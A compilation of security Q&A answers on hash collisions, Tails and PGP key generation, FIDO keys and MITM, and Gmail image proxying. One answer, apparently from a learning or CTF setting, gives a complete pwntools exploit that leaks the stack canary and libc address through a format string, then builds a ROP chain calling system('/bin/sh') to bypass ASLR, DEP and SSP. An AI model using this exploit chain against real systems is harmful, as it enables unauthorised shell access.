If you want to find a collision for a 128-bit hash, you need to understand its structure. There are known methods to find collisions for MD4 and MD5, for example. These methods are practical because they don't use brute force over the whole search space.

By the way, you're calling the hash inputs ”passwords“, but password hashes are different from “ordinary” cryptographic hashes. They're slower, and salted. The use of a random salt means that with a password hash, you don't get the same output twice, not even if you use the same password twice.


How to leak libc base address using format string exploit

Thanks to Andrea, who helped me in the comments, I've been finally able to write a reliable exploit.
The clue for achieving it, was to look carefully at the stack. There, I could find the address of a function __libc_start_main()+240 which I could use later for calculating the base address of libc by subtracting the offset.
Here is my full exploit, I hope this helps other people to understand how to defeat ASLR, DEP and SSP :)

#!/usr/bin/env python
from pwn import *

_libc_start_main_offset = 0x0000000000020740

# GADGETS of /lib/x86-64/libc-2.23.so

POPRDI = 0x0000000000042c0d

# leak for getting stack canary and __libc_start_main
leak = "%17$p,%19$p"

# padding
padding = "A"*72

# pause for attaching with gdb for debugging purposes
# pause()

# start the process
p = process(["./vuln", leak])

# First address is the cookie
cookie = p.recvuntil(",")

# And the other the libc funtion address
_libc_start_main_address = p.recv()

# Print the cookie
log.info("Cookie: "+cookie[:len(cookie)-1])

# We parse the cookie
cookie = cookie[2:len(cookie)-1].decode("hex")[::-1]

# We parse the libc function address
_libc_start_main_address = u64(("0000" + _libc_start_main_address[2:len(_libc_start_main_address)-1]).decode("hex")[::-1])-240

# We print and calculate the libc base address
log.info("libc base address: "+hex(_libc_start_main_address-_libc_start_main_offset))
libc_base = _libc_start_main_address-_libc_start_main_offset
system = 0x0000000000045390 + libc_base

POPRDI += libc_base
binsh = libc_base + 0x18cd17

log.info("binsh is at: "+hex(binsh))

# Making the payload
payload = ""
payload += padding
payload += cookie
payload += "AAAAAAAA"
payload += p64(POPRDI)
payload += p64(binsh)
payload += p64(system)
# Sending the exploit
p.sendline(payload+"\n")

# Spawning shell
p.interactive()


Is tails needed to securely generate a PGP key on raspberry Pi?

Indeed, the documentation says:

  For the moment, Tails is only available on the x86_64 architecture. The Raspberry Pi and most tablets and phones are based on the ARM architecture. Tails does not work on the ARM architecture so far.

And a possible suggestion:

  Look for a tablet with an AMD or Intel processor. Try to verify its compatibility with Debian beforehand, for example make sure that the Wi-Fi interface is supported.

If you are really concerned with the hardware, you can probably find a disposable SBC with a suitable architecture, I understand they exist but are substantially more expensive than the Raspberry PI. Otherwise use some old laptop that is going to the trashbin anyway, or a dedicated machine that will never go online and never be used for any other purpose.

Tails is a good option to generate PGP keys in 'airgapped' mode because:

it has an option to disable networking on startup  (to address one of your concerns)
it has ccid drivers and can support smart card readers out of the box (for those who want to immediately transfer subkeys to the
smart card)
it is normally run as a live disk (or USB key), no hard drive storage involved

However, it is not the only viable option. I believe there is an Ubuntu derivative designed to work offline on sensitive documents (can't remember the name right now).

I agree that a PGP key should preferably be generated in optimal conditions, that is in 'airgapped' mode, you could also add an extra source of entropy, and there quite a few more recommendations.

Or you could simply do your own install of Raspbian on an SD card like you said, and then destroy the SD card. But by your logic, you should also destroy the Raspberry Pi.

It seems that your biggest worry is trust in the hardware. Unfortunately there is no easy solution. AFAIK the Raspberry Pi is not fully open-source hardware-wise, yours may have been built in China, and even if it was produced in a Western country supply chain attacks are a fact of life.


How do FIDO keys prevent MITM reflection attacks?

If you're not using TLS, FIDO keys (WebAuthn or U2F) aren't going to do you much good. In fact, the spec requires that browsers only expose the API in secure contexts:

  The client facilitates these security measures by providing the Relying Party's origin and RP ID to the authenticator for each operation. Since this is an integral part of the WebAuthn security model, user agents only expose this API to callers in secure contexts.

WebAuthn and U2F are authentication protocols, establishing a secure connection is outside their scope. If the user's connection isn't encrypted, if the cipher suite being used is broken, or if the user trusts a MitM's certificate, it's game over.


Photo Attachment's Feature For Some Mail Servers

There have been 2 recent changes to Gmail:

1.

Gmail will show images by default, proxied through Google's servers (and "checked for known viruses or malware"). If there's an exploitable vulnerability that can be embedded in a JPEG image, we'd probably have been screwed a long time ago since any website can also show images without any virus checks being run on them.

The changes probably don't affect open tracking. But you won't be able to see user IP addresses / user agent strings.

2.

Gmail will provide more options with regard to saving attachments. This should also not change anything since 1) old-style "open attachment" will still be available 2) attachments are scanned for viruses anyway. Attachments are parsed (for previews etc) server-side, so a (for example) PDF with malicious scripts won't affect users any more than with the old "trick user into opening a malicious file" method.